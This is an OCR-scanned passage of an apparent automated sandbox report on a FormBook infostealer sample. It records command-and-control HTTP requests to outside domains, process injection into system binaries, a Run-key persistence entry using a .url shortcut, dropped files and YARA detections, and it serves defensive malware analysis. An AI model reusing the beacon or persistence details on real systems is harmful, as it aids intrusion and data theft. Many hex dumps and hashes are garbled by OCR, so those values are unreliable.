3e 3c 73637269 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74
74 70 3a 2f 2f 77 77 77 2e 72 6f 64 67 72 6f 75 70 2e 6e 65 74 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3¢ 2f 73 63 72 69 70
74 3e 3c 73637269 70742074 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69
6f 6e 20 68 61 6e 64 6¢ 65 41 42 50 44 65 74 65 63 74 28 29 7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72
6e 3b 76 61 72 20 69 6d 67 6¢ 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6¢ 65 6d 65 6e 74 28 22 69
6d 67 22 29 3b 69 6d 67 6¢ 6f 67 2e 73 74 79 6¢ 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6¢ 6f 67 2 73 74
79 6¢ 65 2e 77 69 64 74 68

Data Ascii: 49e7<!IDOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.0rg/TR/html4/strict.dtd"><html
xmlns="http://www.w3.0rg/1999/xhtml" data-adblockkey="MFwwDQYJKoZIhvecNAQEBBQADSWAWSAJBAKX74ixpzVyX
bJprcLfbH4psP4+L2entqriOlzh6pkAaXLPlcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyYjS2penECAWEAAQ==_D+jgh
xJ53hpkEJvSdIN2RigowZkrsn9E71Yso80I1Brxy3q9LRfNpUg4L7YJ1dF924 paShLwlhaHs3kAf2HkTkg=="><head><script t
ype="text/javascript">var abp;</script><script type="text/javascript" src="http://www.rodgroup.net/px.js?ch=1"></script>
<script type="text/javascript" src="http://www.rodgroup.net/px.js?ch=2"></script><script type="text/javascript">function
handleABPDetect(){try{if('abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style
.width

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URfIh=tVqgbIXu9nsll248AUXCUxr000zC9i0c8STc7UOUyN+2mFy87kkAT VINWFSSPJITjqgHk&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.buttsliders.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Thu, 03 Dec 2020 09:04:45 GMT

Content-Type: text/html

Content-Length: 275

ETag: "5fc566f7-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

198.54.117.215 80 C:\Windows\explorer.exe

Data

Page 80 of 97



kBytes

Timestamp transferred Direction Data
Dec 3, 2020 5992 ouT GET /9t6k/?URflh=kTde6z/9FBgibCJh75hFV8EYWatL10Q/rhfr50U2UZBR6XWcBOIn723UV5Uezh3ZQ40t&UfrD
10:04:50.658015013 CET al=0nMpqJVP5t_PDD5p HTTP/1.1
Host: www.thanksforlove.com
Connection: close
Data Raw: 00 00 00 00 00 00 00
Data Ascii:
HTTPS Packets
Source Dest Not Not JA3 SSL Client
Timestamp Source IP Port Dest IP Port  Subject Issuer Before After Fingerprint JA3 SSL Client Digest
Dec 3, 2020 162.159.134.233 443 192.168.2.5 49713 CN=ssl711320.cloudflaressl.c CN=COMODO Tue Oct Thu May 771,49196-49195- 37f463bf4616ecd445d4al
10:02:53.811317921 om CN=COMODO ECC ECC Domain 27 06 49200-49199- 937da06e19
CET Domain Validation Secure Validation Secure  01:00:00 01:59:59 49188-49187-
Server CA 2, O=COMODO CA Server CA 2, CET CEST 49192-49191-
Limited, L=Salford, O=COMODO CA 2020 2021 49162-49161-
ST=Greater Manchester, Limited, L=Salford, Thu Sep Tue Sep 49172-49171-157-
C=GB CN=COMODO ECC ST=Greater 25 25 156-61-60-53-47-
Certification Authority, Manchester, C=GB 02:00:00 01:59:59 10,0-10-11-13-35-
O=COMODO CA Limited, CN=COMODO CEST CEST 23-65281,29-23-
L=Salford, ST=Greater ECC Certification 2014 2029 24,0
Manchester, C=GB Authority, Thu Jan Mon Jan
O=COMODO CA 01 01
Limited, L=Salford, 01:00:00 00:59:59
ST=Greater CET CET
Manchester, C=GB 2004 2029
CN=AAA Certificate
Services,
O=Comodo CA
Limited, L=Salford,
ST=Greater
Manchester, C=GB
CN=COMODO ECC Domain CN=COMODO Thu Sep Tue Sep
Validation Secure Server CA  ECC Certification 25 25
2, 0=COMODO CA Limited,  Authority, 02:00:00 01:59:59
L=Salford, ST=Greater O=COMODO CA CEST CEST
Manchester, C=GB Limited, L=Salford, 2014 2029
ST=Greater
Manchester, C=GB
CN=COMODO ECC CN=AAA Certificate Thu Jan Mon Jan
Certification Authority, Services, 01 01
O=COMODO CA Limited, O=Comodo CA 01:00:00 00:59:59
L=Salford, ST=Greater Limited, L=Salford, CET CET
Manchester, C=GB ST=Greater 2004 2029
Manchester, C=GB
Dec 3, 2020 162.159.134.233 443 192.168.2.5 49720 CN=ssl711320.cloudflaressl.c CN=COMODO Tue Oct Thu May 771,49196-49195- 37f463bf4616ecd445d4al
10:03:10.096419096 om CN=COMODO ECC ECC Domain 27 06 49200-49199- 937da06e19
CET Domain Validation Secure Validation Secure  01:00:00 01:59:59 49188-49187-
Server CA 2, O=COMODO CA Server CA 2, CET CEST 49192-49191-
Limited, L=Salford, O=COMODO CA 2020 2021 49162-49161-
ST=Greater Manchester, Limited, L=Salford, Thu Sep Tue Sep 49172-49171-157-
C=GB CN=COMODO ECC ST=Greater 25 25 156-61-60-53-47-
Certification Authority, Manchester, C=GB 02:00:00 01:59:59 10,0-10-11-13-35-
O=COMODO CA Limited, CN=COMODO CEST CEST 23-65281,29-23-
L=Salford, ST=Greater ECC Certification 2014 2029 24,0
Manchester, C=GB Authority, Thu Jan Mon Jan
O=COMODO CA 01 01
Limited, L=Salford, 01:00:00 00:59:59
ST=Greater CET CET
Manchester, C=GB 2004 2029
CN=AAA Certificate
Services,
O=Comodo CA
Limited, L=Salford,
ST=Greater
Manchester, C=GB
CN=COMODO ECC Domain CN=COMODO Thu Sep Tue Sep
Validation Secure Server CA  ECC Certification 25 25
2, 0=COMODO CA Limited,  Authority, 02:00:00 01:59:59
L=Salford, ST=Greater O=COMODO CA CEST CEST
Manchester, C=GB Limited, L=Salford, 2014 2029
ST=Greater
Manchester, C=GB
CN=COMODO ECC CN=AAA Certificate Thu Jan Mon Jan
Certification Authority, Services, 01 01
O=COMODO CA Limited, O=Comodo CA 01:00:00 00:59:59
L=Salford, ST=Greater Limited, L=Salford, CET CET
Manchester, C=GB ST=Greater 2004 2029

Copyright null 2020

Manchester, C=GB
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Timestamp

Dec 3, 2020
10:03:16.644853115
CET

Source

Source IP Port

162.159.134.233 443

Code Manipulations

Statistics

Behavior

Dest

Dest IP Port

192.168.2.5 49724

@ Click to jump to process

System Behavior

Subject

CN=ssl711320.cloudflaressl.c
om CN=COMODO ECC
Domain Validation Secure
Server CA 2, O=COMODO CA
Limited, L=Salford,
ST=Greater Manchester,
C=GB CN=COMODO ECC
Certification Authority,
O=COMODO CA Limited,
L=Salford, ST=Greater
Manchester, C=GB

CN=COMODO ECC Domain
Validation Secure Server CA
2, 0=COMODO CA Limited,
L=Salford, ST=Greater
Manchester, C=GB

CN=COMODO ECC
Certification Authority,
O=COMODO CA Limited,
L=Salford, ST=Greater
Manchester, C=GB

Issuer

CN=COMODO
ECC Domain
Validation Secure
Server CA 2,
0O=COMODO CA
Limited, L=Salford,
ST=Greater
Manchester, C=GB
CN=COMODO
ECC Certification
Authority,
0O=COMODO CA
Limited, L=Salford,
ST=Greater
Manchester, C=GB
CN=AAA Certificate
Services,
O=Comodo CA
Limited, L=Salford,
ST=Greater
Manchester, C=GB

CN=COMODO
ECC Certification
Authority,
O=COMODO CA
Limited, L=Salford,
ST=Greater
Manchester, C=GB

CN=AAA Certificate
Services,
O=Comodo CA
Limited, L=Salford,
ST=Greater
Manchester, C=GB

@ AT113020.exe

@ ieinstal.exe

@ explorer.exe
@ Accfdrv.exe
@ ieinstal.exe

@ msdt.exe

@ wlanext.exe
@ Accfdrv.exe
® ieinstal.exe

@ ieinstal.exe

@ ieinstal.exe

® cmd.exe

@ conhost.exe

Not
Before

Tue Oct
27
01:00:00
CET
2020
Thu Sep
25
02:00:00
CEST
2014
Thu Jan
01
01:00:00
CET
2004

Thu Sep
25
02:00:00
CEST
2014

Thu Jan
01
01:00:00
CET
2004

Not
After

Thu May
06
01:59:59
CEST
2021
Tue Sep
25
01:59:59
CEST
2029
Mon Jan
01
00:59:59
CET
2029

Tue Sep
25
01:59:59
CEST
2029

Mon Jan
01
00:59:59
CET
2029

JA3 SSL Client
Fingerprint

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
23-65281,29-23-
24,0

JA3 SSL Client Digest

37f463bf4616ecd445d4al
937da06e19

Analysis Process: AT113020.exe PID: 5920 Parent PID: 5628

Copyright null 2020
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Path

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache

Copyright null 2020

Access

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

10:02:52

03/12/2020

C:\Users\user\Desktop\AT113020.exe

true

‘C:\Users\user\Desktop\AT113020.exe"

0x400000

1375232 bytes
8477C9B80B4B7796F904EC72ABESFF71

true

true

Borland Delphi

.

low

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000002.242236710.0000000002A55000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000001.00000002.242236710.0000000002A55000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000002.242236710.0000000002A55000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000002.242326324.0000000002AD0000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000001.00000002.242326324.0000000002AD0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000002.242326324.0000000002AD0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000001.00000002.240199422.00000000027E7000.00000020.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Suspicious_Shortcut_lconNotFromExeOrDLLOrICO, Description:
Detects possible shortcut usage for .URL persistence, Source:
00000001.00000002.240199422.00000000027E7000.00000020.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000002.242189185.0000000002A2C000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000001.00000002.242189185.0000000002A2C000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000002.242189185.0000000002A2C000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Source

Attributes Options Completion Count Address Symbol

device directory file | object name collision 1 40FD3F5 InternetOpenUrlA

synchronous io
non alert | open
for backup ident
| open reparse
point

device directory file | object name collision 1 40FD3F5 InternetOpenUrlA

synchronous io
non alert | open
for backup ident
| open reparse
point

device directory file | object name collision 1 40FD3F5 InternetOpenUrlA

synchronous io
non alert | open
for backup ident
| open reparse
point
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File Path

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies

C:\Users\user\AppData\Local\Microsoft\Windows\Accfdrv.exe

C:\Users\user\AppData\Local\fccA.url

File Written

File Path Offset

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache\IE\B87Z287FM\Accfcxz[1]

Copyright null 2020

unknown 1025

Access Attributes Options

read data or list device directory file |

directory | synchronous io

synchronize non alert | open
for backup ident
| open reparse
point

read data or list device directory file |

directory | synchronous io

synchronize non alert | open
for backup ident
| open reparse
point

read data or list device directory file |

directory | synchronous io

synchronize non alert | open
for backup ident
| open reparse
point

read attributes | device synchronous io

synchronize | non alert | non

generic read | directory file

generic write

read attributes | device synchronous io

synchronize | non alert | non

generic read | directory file

generic write

Length Value Ascii

3334 64 34 39 33
303339333837
313537353334
64 34 39 33 30 33
393338373135
37 35333464 34
393330333933
3837313537 35
333464 34 39 33
303339333837
313537353334
64 34 39 33 30 33
393338373135
37 3533346434
393330333933
3837313537 35
3334 64 3439 33
303339333837
313537353334
64 34 39 33 30 33
393338373135
37 35333464 34
393330333933
383731353735
3334 64 34 39 33
303339333837
313537353334
64 34 39 33 30 33
393338373135
37 35333464 34
393330333933
383731353735
3334 64 34 39 33
303339333837
313537353334
64 34 39 33 30 33
393338373135
37 35333464 34
393330333933
3837313537 35
3334 64 34 39 33
303339333837
313537

Completion

object name collision

object name collision

object name collision

success or wait

success or wait

Completion

34d493039387157534d493 success or wait

03938715

7534d493039387157534d4

93039387

157534d493039387157534

d4930393

87157534d4930393871575

34d49303

9387157534d49303938715

7534d493

0393871575340d493039387

157534d4

93039387157534d4930393

87157534

d493039387157534d49303

93871575
34d493039387157

Source
Count Address Symbol

1 40FD3F5 InternetOpenUrlA

1 40FD3F5 InternetOpenUrlA

1 40FD3F5 InternetOpenUrlA

1 27E5D5C _lcreat

1 27E2439 CreateFileA
Source

Count Address Symbol
723
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Accfdrv.exe

C:\Users\user\AppData\Local\fccA.url

File Read

File Path
C:\Users\user\Desktop\AT113020.exe

Registry Activities

Key Value Created

Copyright null 2020

Offset Length
unknown 1375232

unknown 170

Value Ascii

4d 5250000200 MZP

00 00 04 00 0f 00 ff
ff 00 00 b8 00 00 00

00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 01

00 00 ba 10 00 Oe 1f

b4 09 cd 21 b8 01 4c
cd 21 90 90 54 68
69 73 20 70 72 6f 67
72 61 6d 20 6d 75
7374 20 62 65 20
7275 6e 20 75 6e
64 65 72 20 57 69
6e 33 32 0d Oa 24
37 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00

5b 49 6e 746572  [InternetShortcut].. URL=fil
6e 65 74 53 68 6f 72 e:\

Completion

..L.1..This program
00 0000004000  must be run under
1a 0000000000  Win32..$7

746375745d0d  \\C:\\Users\\user\\AppData\

0a55524c3d66 \Lo

69 6¢ 65 3a 5¢ 5¢ 5¢ cal\\Microsoft\Windows\\A

43 3a 5c 5¢ 55 73 65 ccfd

72 73 5¢c 5¢ 61 6¢ 66 rv.exe..lconindex=1..IconF

6f 6e 73 5¢ 5¢ 41 70 ile=

7044 61 74 61 5c¢ 5¢ .url..Modified=20F06BA06

4c 6f 63 61 6¢c 5¢c 5¢  DO7BDO
4d 69 63 72 6f 73 6f 14D..HotKey=1601..

66 74 5c 5¢ 57 69 6e
64 6f 77 73 5¢c 5¢ 41
63 63 66 64 72 76
2e 65 78 65 0d Oa
49 63 6f 6e 49 6e 64
65 78 3d 31 0d Oa
49 63 6f 6e 46 69 6¢
65 3d 2e 75 72 6¢
0d Oa 4d 6f 64 69 66
69 65 64 3d 32 30
46 30 36 42 41 30
3644 3037 4244
30 31 34 44 0d Oa
48 6f 74 4b 65 79 3d
3136 30 31 0d Oa

Offset

unknown

Length
1375232

Source

Count Address Symbol

success or wait 1

success or wait 1

Completion

success or wait

27E5D7C _lwrite

27D7AB9 WriteFile

Source

Count Address Symbol

1

27D7A8D ReadFile
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Key Path

HKEY_CURRENT_USER\Software\Mic

Name Type

Accf unicode

rosoft\Windows\CurrentVersion\Run

C:\Users\user\AppData\Local\fccA.url

Completion

success or wait 1

Source

Count Address Symbol

27E57E6 RegSetValueExA

Analysis Process

: ieinstal.exe PID: 4724 Parent PID: 5920

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

10:02:54
03/12/2020

C:\Program Files (x86)\Internet Explorer\ieinstal.exe

true

C:\Program Files (x86)\internet explorenieinstal.exe

0x820000
480256 bytes

DAD17AB737E680C47C8A44CBB95EEGTE

true
true

C, C++ or other language

.

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000002.290339336.00000000033D0000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000002.00000002.290339336.00000000033D0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000002.00000002.290339336.00000000033D0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000002.289704123.0000000002FA0000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000002.00000002.289704123.0000000002FA0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000002.00000002.289704123.0000000002FA0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000002.00000002.285937486.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000002.00000002.285937486.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000002.00000002.285937486.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1622408 success or wait 1 417C97 NtReadFile
Analysis Process: explorer.exe PID: 3472 Parent PID: 4724
General
Start time: 10:02:56
Start date: 03/12/2020
Path: C:\Windows\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

Copyright null 2020

false

0x7ff693d90000
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File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

3933184 bytes
AD5296B280E8F522A8A897C96BABOE1D

true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Source
Key Path Name Type Data Completion Count Address Symbol
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: Accfdrv.exe PID: 5916 Parent PID: 3472
General
Start time: 10:03:07
Start date: 03/12/2020
Path: C:\Users\user\AppData\Local\Microsoft\Windows\Accfdrv.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

‘C:\Users\user\AppData\Local\Microsoft\Windows\Accfdrv.exe'

0x400000

1375232 bytes
8477C9B80B4B7796F904EC72ABESFF71

true

true

Borland Delphi

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.276173804.0000000002A64000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000005.00000002.276173804.0000000002A64000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.276173804.0000000002A64000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.276221238.0000000002AF0000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000005.00000002.276221238.0000000002AF0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.276221238.0000000002AF0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000005.00000002.275922238.0000000002807000.00000020.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Suspicious_Shortcut_lconNotFromExeOrDLLOrICO, Description:
Detects possible shortcut usage for .URL persistence, Source:
00000005.00000002.275922238.0000000002807000.00000020.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Reputation:

low

[ File Activities

Copyright null 2020
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File Created

File Path

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies

File Written

File Path

Copyright null 2020

Offset

Access

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

Length Value

Attributes

device

device

device

device

device

device

Ascii

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

Completion

object name collision

object name collision

object name collision

object name collision

object name collision

object name collision

Completion

Source
Count Address
1 40FD3F5
1 40FD3F5
1 40FD3F5
1 40FD3F5
1 40FD3F5
1 40FD3F5

Source

Count Address

Symbol
InternetOpenUrlA

InternetOpenUrlA

InternetOpenUrlA

InternetOpenUrlA

InternetOpenUrlA

InternetOpenUrlA

Symbol
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol

unknown 1025 333464343933 34d493039387157534d493 success or wait 723  40FD45C InternetReadFile
303339333837 03938715

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache\IE\PEJLKQAB8\Accfcxz[1]

File Path

313537353334
64 34 39 33 30 33
393338373135
37 35333464 34
393330333933
3837313537 35
33 34 64 34 39 33
303339333837
313537353334
64 34 39 33 30 33
393338373135
373533346434
393330333933
3837313537 35
3334 64 3439 33
303339333837
313537353334
64 34 39 33 30 33
393338373135
37 3533346434
393330333933
383731353735
3334 64 34 39 33
303339333837
313537353334
64 34 39 33 30 33
393338373135
37 35333464 34
393330333933
383731353735
3334 64 34 39 33
303339333837
313537353334
64 34 39 33 30 33
393338373135
37 35333464 34
393330333933
3837313537 35
333464 34 39 33
303339333837
313537

7534d493039387157534d4
93039387
157534d493039387157534
d4930393
87157534d4930393871575
34d49303
9387157534d49303938715
7534d493
0393871575340d493039387
157534d4
93039387157534d4930393
87157534
d493039387157534d49303
93871575
34d493039387157

Offset Length

Completion

Source
Count Address Symbol

Analysis Process: ieinstal.exe PID: 5888 Parent PID: 5916

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase: 0x820000
File size: 480256 bytes
MDS5 hash: DAD17AB737E680C47C8A44CBB95EE67E

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2020

10:03:10

03/12/2020

C:\Program Files (x86)\Internet Explorer\ieinstal.exe

true

C:\Program Files (x86)\internet explorenieinstal.exe

true

true

C, C++ or other language
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Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000002.284307510.0000000002F00000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000006.00000002.284307510.0000000002F00000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000002.284307510.0000000002F00000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000002.283670455.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000006.00000002.283670455.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000002.283670455.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000002.284896549.0000000002F30000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000006.00000002.284896549.0000000002F30000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000002.284896549.0000000002F30000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate

File Activities

File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1622408 success or wait 1 417C97 NtReadFile

Analysis Process: msdt.exe PID: 5784 Parent PID: 3472

General

Start time: 10:03:13

Start date: 03/12/2020

Path: C:\Windows\SysWOW64\msdt.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\msdt.exe
Imagebase: 0x7ff797770000

File size: 1508352 bytes

MDS5 hash: 7FO0C51DBA69BI9DESDDF6AA04CE3AGBIF4
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.1019192293.00000000041E0000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000008.00000002.1019192293.00000000041E0000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.1019192293.00000000041E0000.00000004.00000001.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.1015357654.0000000000140000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000008.00000002.1015357654.0000000000140000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.1015357654.0000000000140000.00000040.00000001.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.1016394094.0000000000690000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000008.00000002.1016394094.0000000000690000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

